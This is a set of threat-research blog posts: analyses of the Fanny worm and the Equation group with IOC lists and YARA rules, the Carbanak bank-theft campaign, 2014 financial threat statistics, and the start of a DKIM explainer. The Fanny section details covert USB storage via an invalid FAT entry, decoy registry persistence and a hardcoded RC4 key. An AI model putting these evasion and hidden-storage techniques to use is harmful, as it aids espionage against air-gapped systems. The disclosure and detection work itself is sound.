shelldoc.dll file loaded in the Windows Explorer process. It hides some Fanny-related files (LNK-files and fanny.bmp) in Windows Explorer by removing them from the list of items in the foreground window that uses SysListView32 control (normally Windows Explorer window). Some screenshots with disappearing files were demonstrated previously, however sometimes this approach may raise suspicions. Here is what it looks like if the user opens a system32 directory with Explorer: Seven Fanny-related file icons disappeared in Windows Explorer Apparently, it looks as if some of the file icons were cut off. In addition some of standard directories seem to be missing due to a bug in the rootkit code. It appears as if this component was not tested properly by the authors. Masquerade Mode On There is an interesting part of the code in USB Backdoor DLL which at first glance doesn't make much sense. It takes some hardcoded constants and generates a random value which is saved to a registry key. Fanny generates random values that are saved to the registry Then it moves the current executable which is hosting the DLL to c:\windows\system32\msdtc32.exe. After that the executable path is appended to HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell registry value which makes this executable run on system boot. The trick to mimic the behavior of traditional malware was used to avoid revealing further secret activities #Fanny This may look like a traditional way for malware to add itself to autostart, but don't be fooled by that. The purpose of this move is to make certain automated systems and software, such as those based on sandboxes and emulators, believe that they have caught some known malware and not to let it run further. It seems that the component is so unique that the authors decided to avoid the risk of looking even more suspect. It might seem a paradox, but the authors prefer this code to be detected as malware if someone is checking it. The trick is to mimic the behavior of some traditional cybercriminal malware, a bot, and get detected as soon as possible, thereby not revealing any further secret activities. Considering that this component was spreading via USB drives and could pop up on many systems, discovering it as a traditional bot would put it in lower risk zone and as a result the malware would probably end up being deleted without proper analysis. This might explain why this code was detected as a variant of Zlob malware in the past and no one paid proper attention to it. USB Backdoor One of the modules, agentcpd.dll, is a backdoor that was designed to work as an advanced reconnaissance tool for air-gapped computers that are normally used in highly secure facilities. The backdoor waits for a USB drive to be plugged in and if that's a new disk, it instantly allocates some space for a hidden container using its own FAT16/FAT32 filesystem driver. This is what the FAT root directory looks like before and after plugging a USB drive into an infected machine: Hexdump of raw disk partition before and after plugging into an infected machine On top of this hexdump the drive label "MYDRIVE" can be found (corresponding hex bytes are underlined with green). It is followed by a single byte flag value (0x08 in hex) which, according to Microsoft, means ATTR_VOLUME_ID. Each entry in this root directory table is 32-bytes long. Subdirectory entries such as Pictures, Music, Documents and Work occupy 63 bytes, because of the long filename FAT feature. There are two variants of subdirectory names – short and long. A subdirectory entry uses a flag 0x10 following the short directory name, which, according to Microsoft, means ATTR_DIRECTORY. The last record inserted by Fanny (highlighted in red) uses an invalid directory name and a flag 0x18, which combines ATTR_VOLUME_ID and ATTR_DIRECTORY. This combination of flags is not documented according to current FAT specifications and the whole entry is therefore ignored by filesystem drivers as if it were a data corruption or a bad block. As a result this entry is not visible in Windows, Mac OS and Linux and probably all other implementations of FAT driver. It's possible that #Fanny was used to map some of the future targets of #Stuxnet #EquationAPT #TheSAS2015 While Fanny doesn't rigorously protect data in hidden storage (it doesn't mark the allocated space as bad blocks, probably to avoid attention), it changes the filesystem driver hint value indicating where to look for the next free cluster. In this way it reserves disk space of approximately 1Mb in size to use for a hidden storage. When Fanny detects a new USB drive, with the help of its own FAT driver it looks into the root directory and locates the entry which starts with magic value 51 50 40 98 (see above). It then uses the offset which follows the flag value of 0x18. On the figure above it is set to 0x001e9c00. This offset on the same USB disk will have another magic value D0 CF CE CD serving as a marker for the beginning of the hidden storage: Hexdump of Fanny hidden storage with list of running processes Once Fanny has allocated space for hidden storage it populates the storage with basic information about the current system: i.e. OS Version, Service Pack number, computer name, user name, company name, list of running processes, etc. This secret storage is also used to pass commands to computers that are not connected to the Internet. According to Fanny code, the container may carry additional components and internal commands: such as to copy certain file from the local filesystem to the USB drive (locations are defined as parameters, the file is set hidden and system file attributes), or to update the configuration block. It uses RC4 with the following hard-coded key to protect critical information: 18 05 39 44 AB 19 78 88 C4 13 33 27 D5 10 6C 25 When the USB drive travels to another infected computer connected to the Internet it can be used to carry important files and provide a way to interact with the operator. This simple and extremely slow method of communication is not used by traditional cybercriminals, that is why the whole code looks like a toolkit for professional cyberespionage. This component is one of the rare malware samples from a new class of malware called USB-Backdoors. If you find this or a similar code of USB-Backdoor on some of your systems this is an indicator of a professional cyberattack. Sinkholing and victim statistics We sinkholed the Fanny C&C server and collected victim statistics, shown below. In total, we observed over 11,200 unique IPs connecting to the sinkhole server over a period of five months: At the moment, the vast majority of victims are located in Pakistan (a whopping 59.36%). Indonesia and Vietnam follow at great distance, with 15.99% and 14.17% respectively. The infection numbers in other countries are probably too small to be relevant. Of course, this could raise the question: was Pakistan the true target of Fanny? To be honest, we do not know. The current infection situation might be different from what it was in 2008-2010. Considering that there are still over ten thousand victims worldwide, the number back in 2009 might have been much, much higher – perhaps even as high as 50,000 infections. It may be relevant that Pakistan is a top target for the Equation group's other malware, along with Russia and Iran. Conclusion With Fanny, we begin yet another chapter in the story of Stuxnet, the Equation Group and Flame. Created in 2008, Fanny used two zero-day exploits. These two were added to Stuxnet in June 2009 and March 2010. Effectively, it means that the Equation group had access to these zero-days (and others) years before the Stuxnet group did. While the true target of Fanny remains unknown, its unique capability to map air-gapped networks and communicate via USB sticks indicate a lot of work went into gaining the ability to access these air-gapped networks. As a precursor for the versions of Stuxnet that could replicate through the network, it's possible that Fanny was used to map some of the future targets of Stuxnet. Another unusual fact is the very high number of infections coming from Pakistan. Since Fanny spreads only through USB sticks, which is rather slow, this indicates that the infection began in Pakistan, possibly before many other countries. Was Fanny used to map some highly sensitive networks in Pakistan, for an unknown purpose, or was it used in preparation for Stuxnet? Perhaps time will tell. ### Equation: The Death Star of Malware Galaxy Mon, 02/16/2015 - 14:55 Download "Equation group: questions and answers" PDF "Houston, we have a problem" One sunny day in 2009, Grzegorz Brzęczyszczykiewicz1 embarked on a flight to the burgeoning city of Houston to attend a prestigious international scientific conference. As a leading scientist in his field, such trips were common for Grzegorz. Over the next couple of days, Mr Brzęczyszczykiewicz exchanged business cards with other researchers and talked about the kind of important issues such high level scientists would discuss (which is another way of saying "who knows?"). But, all good things must come to an end; the conference finished and Grzegorz Brzęczyszczykiewicz flew back home, carrying with him many highlights from a memorable event. Sometime later, as is customary for such events, the organizers sent all the participants a CDROM carrying many beautiful pictures from the conference. As Grzegorz put the CDROM in his computer and the slideshow opened, he little suspected he had just became the victim of an almost omnipotent cyberespionage organization that had just infected his computer through the use of three exploits, two of them being zero-days. A rendezvous with the "God" of cyberespionage It is not known when the Equation2 group began their ascent. Some of the earliest malware samples we have seen were compiled in 2002; however, their C&C was registered in August 2001. Other C&Cs used by the Equation group appear to have been registered as early as 1996, which could indicate this group has been active for almost two decades. For many years they have interacted with other powerful groups, such as the Stuxnet and Flame groups; always from a position of superiority, as they had access to exploits earlier than the others. The #EquationAPT group is probably one of the most sophisticated cyber attack groups in the world #TheSAS2015 Since 2001, the Equation group has been busy infecting thousands, or perhaps even tens of thousands of victims throughout the world, in the following sectors: • Government and diplomatic institutions • Telecoms • Aerospace • Energy • Nuclear research • Oil and gas • Military • Nanotechnology • Islamic activists and scholars • Mass media • Transportation • Financial institutions • Companies developing encryption technologies To infect their victims, the Equation group uses a powerful arsenal of "implants" (as they call their Trojans), including the following we have created names for: EQUATIONLASER, EQUATIONDRUG, DOUBLEFANTASY, TRIPLEFANTASY, FANNY and GRAYFISH. No doubt other "implants" exist which we have yet to identify and name. The #EquationAPT group interacted with other powerful groups, such as the #Stuxnet and #Flame groups #TheSAS2015 The group itself has many codenames for their tools and implants, including SKYHOOKCHOW, UR, KS, SF, STEALTHFIGHTER, DRINKPARSLEY, STRAITACID, LUTEUSOBSTOS, STRAITSHOOTER, DESERTWINTER and GROK. Incredible as it may seem for such an elite group, one of the developers made the unforgivable mistake of leaving his username: "RMGREE5", in one of the malware samples as part of his working folder: "c:\users\rmgree5\". Perhaps the most powerful tool in the Equation group's arsenal is a mysterious module known only by a cryptic name: "nls_933w.dll". It allows them to reprogram the hard drive firmware of over a dozen different hard drive brands, including Seagate, Western Digital, Toshiba, Maxtor and IBM. This is an astonishing technical accomplishment and is testament to the group's abilities. Over the past years, the Equation group has performed many different attacks. One stands out: the Fanny worm. Presumably compiled in July 2008, it was first observed and blocked by our systems in December 2008. Fanny used two zero-day exploits, which were later uncovered during the discovery of Stuxnet. To spread, it used the Stuxnet LNK exploit and USB sticks. For escalation of privilege, Fanny used a vulnerability patched by the Microsoft bulletin MS09-025, which was also used in one of the early versions of Stuxnet from 2009. LNK exploit as used by Fanny It's important to point out that these two exploits were used in Fanny before they were integrated into Stuxnet, indicating that the Equation group had access to these zero-days before the Stuxnet group. The main purpose of Fanny was the mapping of air-gapped networks. For this, it used a unique USB-based command and control mechanism which allowed the attackers to pass data back and forth from air-gapped networks. Two zero-day exploits were used by the #EquationAPT group before they were integrated into #Stuxnet #TheSAS2015 In the coming days, we will publish more details about the Equation group malware and their attacks. The first document to be published will be a general FAQ on the group together with indicators of compromise. By publishing this information, we hope to bring it to the attention of the ITSec community as well as independent researchers, who can extend the understanding of these attacks. The more we investigate such cyberespionage operations, we more we understand how little we actually know about them. Together, we can lift this veil and work towards a more secure (cyber-)world. Download "Equation group: questions and answers" PDF Indicators of compromise ("one of each"): Name EquationLaser MD5 752af597e6d9fd70396accc0b9013dbe Type EquationLaser installer Compiled Mon Oct 18 15:24:05 2004 Name Disk from Houston "autorun.exe" with EoP exploits MD5 6fe6c03b938580ebf9b82f3b9cd4c4aa Type EoP package and malware launcher Compiled Wed Dec 23 15:37:33 2009 Name DoubleFantasy MD5 2a12630ff976ba0994143ca93fecd17f Type DoubleFantasy installer Compiled Fri Apr 30 01:03:53 2010 Name EquationDrug MD5 4556ce5eb007af1de5bd3b457f0b216d Type EquationDrug installer ("LUTEUSOBSTOS") Compiled Tue Dec 11 20:47:12 2007 Name GrayFish MD5 9b1ca66aab784dc5f1dfe635d8f8a904 Type GrayFish installer Compiled Compiled: Fri Feb 01 22:15:21 2008 (installer) Name Fanny MD5 0a209ac0de4ac033f31d6ba9191a8f7a Type Fanny worm Compiled Mon Jul 28 11:11:35 2008 Name TripleFantasy MD5 9180d5affe1e5df0717d7385e7f54386 loader (17920 bytes .DLL) Type ba39212c5b58b97bfc9f5bc431170827 encrypted payload (.DAT) Compiled various, possibly fake Name _SD_IP_CF.dll - unknown MD5 03718676311de33dd0b8f4f18cffd488 Type DoubleFantasy installer + LNK exploit package Compiled Fri Feb 13 10:50:23 2009 Name nls_933w.dll MD5 11fb08b9126cdb4668b3f5135cf7a6c5 Type HDD reprogramming module Compiled Tue Jun 15 20:23:37 2010 Name standalonegrok_2.1.1.1 / GROK MD5 24a6ec8ebf9c0867ed1c097f4a653b8d Type GROK keylogger Compiled Tue Aug 09 03:26:22 2011 C&C servers (hostnames and IPs): DoubleFantasy: advancing-technology[.]com avidnewssource[.]com businessdealsblog[.]com businessedgeadvance[.]com charging-technology[.]com computertechanalysis[.]com config.getmyip[.]com - SINKHOLED BY KASPERSKY LAB globalnetworkanalys[.]com melding-technology[.]com myhousetechnews[.]com - SINKHOLED BY KASPERSKY LAB newsterminalvelocity[.]com - SINKHOLED BY KASPERSKY LAB selective-business[.]com slayinglance[.]com successful-marketing-now[.]com - SINKHOLED BY KASPERSKY LAB taking-technology[.]com techasiamusicsvr[.]com - SINKHOLED BY KASPERSKY LAB technicaldigitalreporting[.]com timelywebsitehostesses[.]com www.dt1blog[.]com www.forboringbusinesses[.]com EquationLaser: lsassoc[.]com - re-registered, not malicious at the moment gar-tech[.]com - SINKHOLED BY KASPERSKY LAB Fanny: webuysupplystore.mooo[.]com - SINKHOLED BY KASPERSKY LAB EquationDrug: newjunk4u[.]com easyadvertonline[.]com newip427.changeip[.]net - SINKHOLED BY KASPERSKY LAB ad-servicestats[.]net - SINKHOLED BY KASPERSKY LAB subad-server[.]com - SINKHOLED BY KASPERSKY LAB ad-noise[.]net ad-void[.]com aynachatsrv[.]com damavandkuh[.]com fnlpic[.]com monster-ads[.]net nowruzbakher[.]com sherkhundi[.]com quik-serv[.]com nickleplatedads[.]com arabtechmessenger[.]net amazinggreentechshop[.]com foroushi[.]net technicserv[.]com goldadpremium[.]com honarkhaneh[.]net parskabab[.]com technicupdate[.]com technicads[.]com customerscreensavers[.]com darakht[.]com ghalibaft[.]com adservicestats[.]com 247adbiz[.]net - SINKHOLED BY KASPERSKY LAB webbizwild[.]com roshanavar[.]com afkarehroshan[.]com thesuperdeliciousnews[.]com adsbizsimple[.]com goodbizez[.]com meevehdar[.]com xlivehost[.]com gar-tech[.]com - SINKHOLED BY KASPERSKY LAB downloadmpplayer[.]com honarkhabar[.]com techsupportpwr[.]com webbizwild[.]com zhalehziba[.]com serv-load[.]com wangluoruanjian[.]com islamicmarketing[.]net noticiasftpsrv[.]com coffeehausblog[.]com platads[.]com havakhosh[.]com toofanshadid[.]com bazandegan[.]com sherkatkonandeh[.]com mashinkhabar[.]com quickupdateserv[.]com rapidlyserv[.]com GrayFish: ad-noise[.]net business-made-fun[.]com businessdirectnessource[.]com charmedno1[.]com cribdare2no[.]com dowelsobject[.]com following-technology[.]com forgotten-deals[.]com functional-business[.]com housedman[.]com industry-deals[.]com listennewsnetwork[.]com phoneysoap[.]com posed2shade[.]com quik-serv[.]com rehabretie[.]com speedynewsclips[.]com teatac4bath[.]com unite3tubes[.]com unwashedsound[.]com TripleFantasy: arm2pie[.]com brittlefilet[.]com cigape[.]net crisptic01[.]net fliteilex[.]com itemagic[.]net micraamber[.]net mimicrice[.]com rampagegramar[.]com rubi4edit[.]com rubiccrum[.]com rubriccrumb[.]com team4heat[.]net tropiccritics[.]com Equation group's exploitation servers: standardsandpraiserepurpose[.]com suddenplot[.]com technicalconsumerreports[.]com technology-revealed[.]com IPs hardcoded in malware configuration blocks: 149.12.71.2 190.242.96.212 190.60.202.4 195.128.235.227 195.128.235.231 195.128.235.233 195.128.235.235 195.81.34.67 202.95.84.33 203.150.231.49 203.150.231.73 210.81.52.120 212.61.54.239 41.222.35.70 62.216.152.67 64.76.82.52 80.77.4.3 81.31.34.175 81.31.36.174 81.31.38.163 81.31.38.166 84.233.205.99 85.112.1.83 87.255.38.2 89.18.177.3 Kaspersky products detection names: • Backdoor.Win32.Laserv • Backdoor.Win32.Laserv.b • Exploit.Java.CVE-2012-1723.ad • HEUR:Exploit.Java.CVE-2012-1723.gen • HEUR:Exploit.Java.Generic • HEUR:Trojan.Java.Generic • HEUR:Trojan.Win32.DoubleFantasy.gen • HEUR:Trojan.Win32.EquationDrug.gen • HEUR:Trojan.Win32.Generic • HEUR:Trojan.Win32.GrayFish.gen • HEUR:Trojan.Win32.TripleFantasy.gen • Rootkit.Boot.Grayfish.a • Trojan-Downloader.Win32.Agent.bjqt • Trojan.Boot.Grayfish.a • Trojan.Win32.Agent.ajkoe • Trojan.Win32.Agent.iedc • Trojan.Win32.Agent2.jmk • Trojan.Win32.Diple.fzbb • Trojan.Win32.DoubleFantasy.a • Trojan.Win32.DoubleFantasy.gen • Trojan.Win32.EquationDrug.b • Trojan.Win32.EquationDrug.c • Trojan.Win32.EquationDrug.d • Trojan.Win32.EquationDrug.e • Trojan.Win32.EquationDrug.f • Trojan.Win32.EquationDrug.g • Trojan.Win32.EquationDrug.h • Trojan.Win32.EquationDrug.i • Trojan.Win32.EquationDrug.j • Trojan.Win32.EquationDrug.k • Trojan.Win32.EquationLaser.a • Trojan.Win32.EquationLaser.c • Trojan.Win32.EquationLaser.d • Trojan.Win32.Genome.agegx • Trojan.Win32.Genome.akyzh • Trojan.Win32.Genome.ammqt • Trojan.Win32.Genome.dyvi • Trojan.Win32.Genome.ihcl • Trojan.Win32.Patched.kc • Trojan.Win64.EquationDrug.a • Trojan.Win64.EquationDrug.b • Trojan.Win64.Rozena.rpcs • Worm.Win32.AutoRun.wzs Yara rules: rule apt_equation_exploitlib_mutexes { meta: copyright = "Kaspersky Lab" description = "Rule to detect Equation group's Exploitation library" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings:$mz="MZ" $a1="prkMtx" wide$a2="cnFormSyncExFBC" wide $a3="cnFormVoidFBC" wide$a4="cnFormSyncExFBC" $a5="cnFormVoidFBC" condition: (($mz at 0) and any of ($a*)) } rule apt_equation_doublefantasy_genericresource { meta: copyright = "Kaspersky Lab" description = "Rule to detect DoubleFantasy encoded config" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings:$mz="MZ" $a1={06 00 42 00 49 00 4E 00 52 00 45 00 53 00}$a2="yyyyyyyyyyyyyyyy" $a3="002" condition: (($mz at 0) and all of ($a*)) and filesize < 500000 } rule apt_equation_equationlaser_runtimeclasses { meta: copyright = "Kaspersky Lab" description = "Rule to detect the EquationLaser malware" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings:$a1="?a73957838_2@@YAXXZ" $a2="?a84884@@YAXXZ"$a3="?b823838_9839@@YAXXZ" $a4="?e747383_94@@YAXXZ"$a5="?e83834@@YAXXZ" $a6="?e929348_827@@YAXXZ" condition: any of them } rule apt_equation_cryptotable { meta: copyright = "Kaspersky Lab" description = "Rule to detect the crypto library used in Equation group malware" version = "1.0" last_modified = "2015-02-16" reference = "https://securelist.com/blog/" strings:$a={37 DF E8 B6 C7 9C 0B AE 91 EF F0 3B 90 C6 80 85 5D 19 4B 45 44 12 3C E2 0D 5C 1C 7B C4 FF D6 05 17 14 4F 03 74 1E 41 DA 8F 7D DE 7E 99 F1 35 AC B8 46 93 CE 23 82 07 EB 2B D4 72 71 40 F3 B0 F7 78 D7 4C D1 55 1A 39 83 18 FA E1 9A 56 B1 96 AB A6 30 C5 5F BE 0C 50 C1} condition: $a } 1 pseudonym, to protect the original victim's identity >> 2 the name "Equation group" was given because of their preference for sophisticated encryption schemes >> ### The Great Bank Robbery: the Carbanak APT Mon, 02/16/2015 - 12:20 Download Full Report PDF The story of Carbanak began when a bank from Ukraine asked us to help with a forensic investigation. Money was being mysteriously stolen from ATMs. Our initial thoughts tended towards the Tyupkin malware. However, upon investigating the hard disk of the ATM system we couldn't find anything except a rather odd VPN configuration (the netmask was set to 172.0.0.0). At this time we regarded it as just another malware attack. Little did we know then that a few months later one of our colleagues would receive a call at 3 a.m. in the middle of the night. On the phone was an account manager, asking us to call a certain number as matter of urgency. The person at the end of the line was the CSO of a Russian bank. One of their systems was alerting that data was being sent from their Domain Controller to the People's Republic of China. Up to 100 financial institutions have been hit.Total financial losses could be as a high as$1bn#TheSAS2015#Carbanak

When we arrived on site we were quickly able to find the malware on the system. We wrote a batch script that removed the malware from an infected PC, and ran this script on all the computers at the bank. This was done multiple times until we were sure that all the machines were clean. Of course, samples were saved and through them we encountered the Carbanak malware for the first time.

Modus Operandi

Further forensic analysis took us to the point of initial infection: a spear phishing e-mail with a CPL attachment; although in other cases Word documents exploiting known vulnerabilities were used. After executing the shellcode, a backdoor based on Carberp, is installed on the system. This backdoor is what we know today as Carbanak. It is designed for espionage, data exfiltration and remote control.

Each bank robbery took 2-4 months, from infecting the first computer to cashing the money out #TheSAS2015 #Carbanak

Once the attackers are inside the victim´s network, they perform a manual reconnaissance, trying to compromise relevant computers (such as those of administrators') and use lateral movement tools. In short, having gained access, they will jump through the network until they find their point of interest. What this point of interest is, varies according to the attack. What they all have in common, however, is that from this point it is possible to extract money from the infected entity.

The gang behind Carbanak does not necessarily have prior knowledge of the inner workings of each bank targeted, since these vary per organisation. So in order to understand how a particular bank operates, infected computers were used to record videos that were then sent to the Command and Control servers. Even though the quality of the videos was relatively poor, they were still good enough for the attackers, armed also with the keylogged data for that particular machine to understand what the victim was doing. This provided them with the knowledge they needed to cash out the money.

Cash out procedures

During our investigation we found several ways of cashing out:

ATMs were instructed remotely to dispense cash without any interaction with the ATM itself, with the cash then collected by mules; the SWIFT network was used to transfer money out of the organisation and into criminals' accounts; and databases with account information were altered so that fake accounts could be created with a relatively high balance, with mule services being used to collect the money.

Infections and losses

Since we started investigating this campaign we have worked very closely with the law enforcement agencies (LEAs) tracking the Carbanak group. As a result of this cooperation we know that up to 100 targets have been hit. When it comes to financial institutions, In at least half of the cases the criminals were able to extract money from the infected institution. Losses per bank range from $2.5 million to approximately$10 million. However, according to information provided by LEAs and the victims themselves, total financial losses could be as a high as $1 billion, making this by far the most successful criminal cyber campaign we have ever seen. Losses from #Carbanak per bank range from$2.5 million to approximately $10 million #TheSAS2015 Our investigation began in Ukraine and then moved to Moscow, with most of the financial entities targeted by the group located in Eastern Europe. However thanks to KSN data and data obtained from the Command and Control servers, we know that Carbanak also targets victims in the USA, Germany and China. Now the group is expanding its operations to new areas. These include Malaysia, Nepal, Kuwait and several regions in Africa, among others. The group is still active, and we urge all financial organizations to carefully scan their networks for the presence of Carbanak. If detected, report the intrusion to law enforcement immediately. For a full description of the campaign, IOCs and list of infections please see our report. To check your network for Carbanak's presence, you can also use the open IOC file available here. FAQ What is Carbanak? Carbanak is the name we use for an APT-style campaign targeting (but not limited to) financial institutions. The main difference with other APT attacks is that attackers do not see data but money as their primary target. We say APT-like, however the attack is not strictly speaking Advanced. Strictly speaking, the main feature defining the attackers is Persistence. We name the backdoor Carbanak since it is based on Carberp and the name of the configuration file is "anak.cfg". What are the malicious purposes of this campaign? The attackers infiltrate the victim´s network looking for the critical system they can use for cashing money out. Once they have stolen a significant amount of money (from 2.5 to 10 MM USD per entity), they abandon the victim. Why do you think it is significant? Banking entities have always been a primary target for cybercriminals. However it was almost always through their customers. This time attackers are targeting financial entities directly in an unprecedented, determined, highly professional and coordinated attack, and using any means from the target to cash as much money out as possible, up to an apparently auto-imposed limit. Can you explain the timeline of the campaign? According to what we know, the first malicious samples were compiled in August, 2013 when the cybercriminals started to test the Carbanak malware. The first infections were detected in December, 2013. On average, each bank robbery took between two and four months, from infecting the first computer at the bank's corporate network to cashing the money out. We believe that the gang was able to successfully steal from their first victims during the period of February-April 2014. The peak of infections was recorded in June 2014. Currently the campaign is still active. Why didn´t you make the details public until now? Since we started working on this campaign we have collaborated with the different LEAs involved in the investigation and helped them as much as possible. As it remains an open investigation, we were asked not to share any details until it was safe to do so. Have you reached victims and Computer Emergency Response Teams (CERTs) in those countries where you have detected the incidents? Yes, this investigation turned into a joint operation between Kaspersky Lab's Global Research and Analysis Team and international organizations, national and regional law enforcement agencies and a number of Computer Emergency Response Teams (CERTs) worldwide. One of our main goals was to disseminate our knowledge of the campaign and IOCs among all detected and potential victims. We used national CERTs and LEAs as the distribution channel. How did you contribute to the investigation? We're helping to assist in investigations and countermeasures that disrupt malware operations and cybercriminal activity. During the investigations we provide technical expertise such as analyzing infection vectors, malicious programs, supported Command & Control infrastructure and exploitation methods. How was the malware distributed? Attackers used spear phishing emails with malicious attachments against employees of the targeted financial institutions, in some cases sending them to their personal email addresses. We believe the attackers also used drive by download attacks, but this second assumption is still not 100% confirmed. What is the potential impact for victims? Based on what the attackers stole from victims, a new victim faces potential losses of up to 10 million$. However this figure is arbitrary based on what we know: nothing limits the potential loss once an institution is infected.

Who are the victims? What is the scale of the attack?

Victims are mainly institutions in the financial industry; however we have also found traces of infections in POS terminals and PR agencies. For a sense of the scale of the attack please see the different charts and maps we provide in our report.

As with many malware campaigns there are a variety of companies/individuals analyzing the malware, resulting in requests to the Command and Control server. When we analyze those servers, all we see are the IPs and possibly some additional information. When this additional information is not present, and when the IP cannot be traced back to its owner, we mark it as an infection.

Based on this approach our analysis concludes that Russia, the US, Germany and China are the most affected countries in number of traces of infection (IP addresses).

How are corporate users protected against this type of attack? Does Kaspersky Lab protect their users?

Yes, we detect Carbanak samples as Backdoor.Win32.Carbanak and Backdoor.Win32.CarbanakCmd.

All Kaspersky Lab's corporate products and solutions detect known Carbanak samples. To raise the level of protection, it is recommended to switch on Kaspersky's Proactive Defense Module included in each modern product and solution.

We also have some general recommendations:

• Do not open suspicious emails, especially if they have an attachment;
• Update your software (in this campaign no 0days were used);
• Turn on heuristics in your security suites, this way it is more likely that such new samples will be detected and stopped from the beginning.

### Financial cyber threats in 2014: things changed

Thu, 02/12/2015 - 07:00

In 2013 we conducted our first in-depth research into the financial cyber-threat landscape. At that time we registered a sudden surge in the number of attacks targeting users' financial information and money. The financial cyber threats landscape was discussed in detail in Kaspersky Lab's "Financial Cyber-threats in 2013" report.

In 2014, the situation changed considerably: the number of attacks and attacked users significantly decreased, as did the amount of financial phishing. The key findings of the study into the financial cyber-threat landscape in 2014 are as follows:

Attacks with Financial malware in 2013 and 2014

Financial phishing attacks
• In 2014 financial phishing attacks, which include phishing that targets Banks, Payment Systems and E-shops, accounted for 28.73% of all phishing attacks (a decrease of 2.72 percentage points).
• Bank-related phishing accounted for 16.27% of all attacks.
• The amount of phishing against Payment Systems increased 2.4 p.p. (from 2.74% in 2013 to 5.14% in 2014)
Financial malware attacks
• In 2014 Kaspersky Lab products detected 22.9 million attacks involving financial malware against 2.7 million users. This represents a YoY decrease of 19.23% for attacks and 29.77% of users.
• Among the total number of users subjected to all types of malware attacks, 4.86% of users encountered attacks involving some kind of financial threat – that's 1.34 percentage points less than in 2013.
• The amount of Banking malware rose 8.89 percentage points to 75.63% of all financial malware attacks in 2014.
• The number of attacks involving Bitcoin mining malware tripled: from 360,065 attacks in 2013 to 1,204,987 in 2014

There are several possible reasons for these changes. First of all, law enforcement agencies around the world actively prosecuted cybercriminals who were spreading financial malware and phishing. In particular, last summer, law enforcement agencies in the US and the UK stopped the activities of two dangerous malicious campaigns – Gameover / Zeus and Shylock.

The second reason for the decline in the number of attacks might be a shift in the cybercriminals' focus – instead of attacking end-users they are now pursuing organizations that work with financial information and payment tools. Throughout the year there were frequent reports of malicious attacks on large stores, hotel chains and fast food restaurants that serve millions of customers a day. In each case the fraudsters used malicious software that could steal bank card data directly from the memory of the POS terminals used by the organizations under attack. Banks became yet another "new" cybercriminal target. In 2014, Kaspersky Lab investigated several attacks targeting banks rather than their users' accounts. Neither of these "new" types of attack prompted a rash of new AV detections simply because there are so few organizations involved compared with the number of private users running antivirus solutions, so it is difficult to compare the number of attacks. Nevertheless, the damage from such attacks amounted to millions of dollars so this threat can hardly be dismissed.

#Cybercriminals are less interested in "mass" malicious attacks, preferring fewer, more "targeted" #attacks #KLreport

A third possible reason for the reduced number of cyberattacks lies in a general trend observed by Kaspersky Lab specialists in 2014. According to the company's experts, cybercriminals are less interested in "mass" malicious attacks on users, preferring fewer, more "targeted" attacks. This is shown by the increased levels of targeted phishing: fraudsters only go after a specific group of users (for example, online banking users) rather than spreading mass mailings with malicious links.

This tactic suggests that a selective malicious mailing is less likely to be detected by IT security specialists and the lifespan of malicious links and malware samples will be extended. The trick is not always successful, but one consequence of its use is a decline in the absolute number of registered cyberattacks.

Android financial malware attacks

And what about mobile financial threats?

First of all, when we talk about mobile cyberthreats we focus on Android cyberthreats. According to Kaspersky Lab experts, more than 99% of mobile malware they are aware of is designed to attack Android devices.

48.15% of the attacks against #Android users utilized malware targeting financial data (Trojan-SMS, Trojan-Banker)

In 2014 Kaspersky Lab and INTERPOL released a joint study on Mobile Cyberthreats which – among others – covered financial malware targeting Android users. According to the findings, there were 3,408,112 attacks against 1,023,202 users recorded in the period from August 1st, 2013 to July 31st 2014. About 500,000 users have encountered Android malware designed to steal money at least once. More than half a year has passed since the end of the period covered by the Kaspersky Lab / INTERPOL study and here is how things changed since:

• 48.15% of the attacks against users of Android-based devices blocked by Kaspersky Lab products utilized malware targeting financial data (Trojan-SMS and Trojan-Banker)
• In comparison with 2013 the number of financial attacks against Android users increased 3.25 times (from 711,993 to 2,317,194 attacks) and number of attacked users was up 3.64 times (from 212,890 to 775,887 users)

Attacks against users of Android-based devices in 2013 and 2014

In other words, the ever-increasing numbers of financial attacks against users of Android-based devices is a strong trend that shows no sign of declining.

### DKIM technology on guard of your mail

Tue, 02/10/2015 - 05:00

Over the last decade DKIM signatures have become an important technology in the extensive list of methods for fighting against spam. Despite the fact that many users have no idea what the term DKIM even means, it is exactly this system that behind the scenes keeps our mailboxes guarded from various types of unsolicited mail, as well as protects a part of the world mail traffic from being wrongly labeled as "spam".

In this article we investigate the structure of DKIM in perspective from its emergence all the way up to nowadays. We also reveal the main advantages and downsides of this piece of technology, as well as explore typical spammers' tricks for forging DKIM signatures.

Concept of DKIM

DKIM technology (DomainKeys Identified Mail) provides a sender verification and guarantees the integrity of the delivered email. The verification is based on the electronic message signature which is generated with asymmetric cryptography. This signature is added to the service headers and is transferred transparently for the end user.

DKIM signature validation occurs automatically on the user side. It relies on the data extracted from the DKIM header as well as on the public encryption key retrieved from the sender's DNS domain name records. The message might be marked as scam, phishing, or suspicious if the specified domain name was not authorized to send this message, depending on the user's policies. Email clients are more loyal to the correspondence with successfully validated DKIM headers, as opposed to the messages with failed DKIM verification. In the meantime, emails without any DKIM headers are processed in the standard mode.

DKIM history

The history of DKIM starts in 2003 with an independent technology DomainKeys (DKIM ancestor) developed by Mark Delany as a part of his work at Yahoo. Two years later Yahoo is granted a patent for Domainkeys, and a wide range of vendors starts to prepare the first recommendatory version of DKIM standard.

In parallel with the DomainKeys development in 2003-2007, Cisco creates their own project "Identified Internet Mail" (IIM), based on a similar concept of authentication with the message signature.

In 2007 IETF publishes DomainKeys standard RFC 4870 (as already deprecated one) and the first standard of DKIM RFC 4871. Later on DKIM standard improves and gets updated in 2009 (RFC 5672). Finally, in 2011 IETF decides to merge two specs, IIM and DKIM, into the final standard RFC 6376.

Despite the fact that new standard had been published, by the year 2012 numerous companies were still using a deprecated 2007-year version of standard. This created a lot of interesting research on potential vulnerabilities in DKIM which we discuss below.

How it works

DKIM is based on the standard asymmetric encryption.

5 main DKIM stages:
1. For every server a public/private key pair (or a set of pairs) is generated.
2. The private key is stored on the sender's server and is being used to create all corresponding DKIM headers for the outgoing mail.
3. The public key is added to the domain DNS zone file in the form of special TXT-record by the domain owner and be comes accessible to everyone.
4. Email with DKIM signature is sent to the recipient (see below).
5. Signature is verified using the public key retrieved from the DNS records.
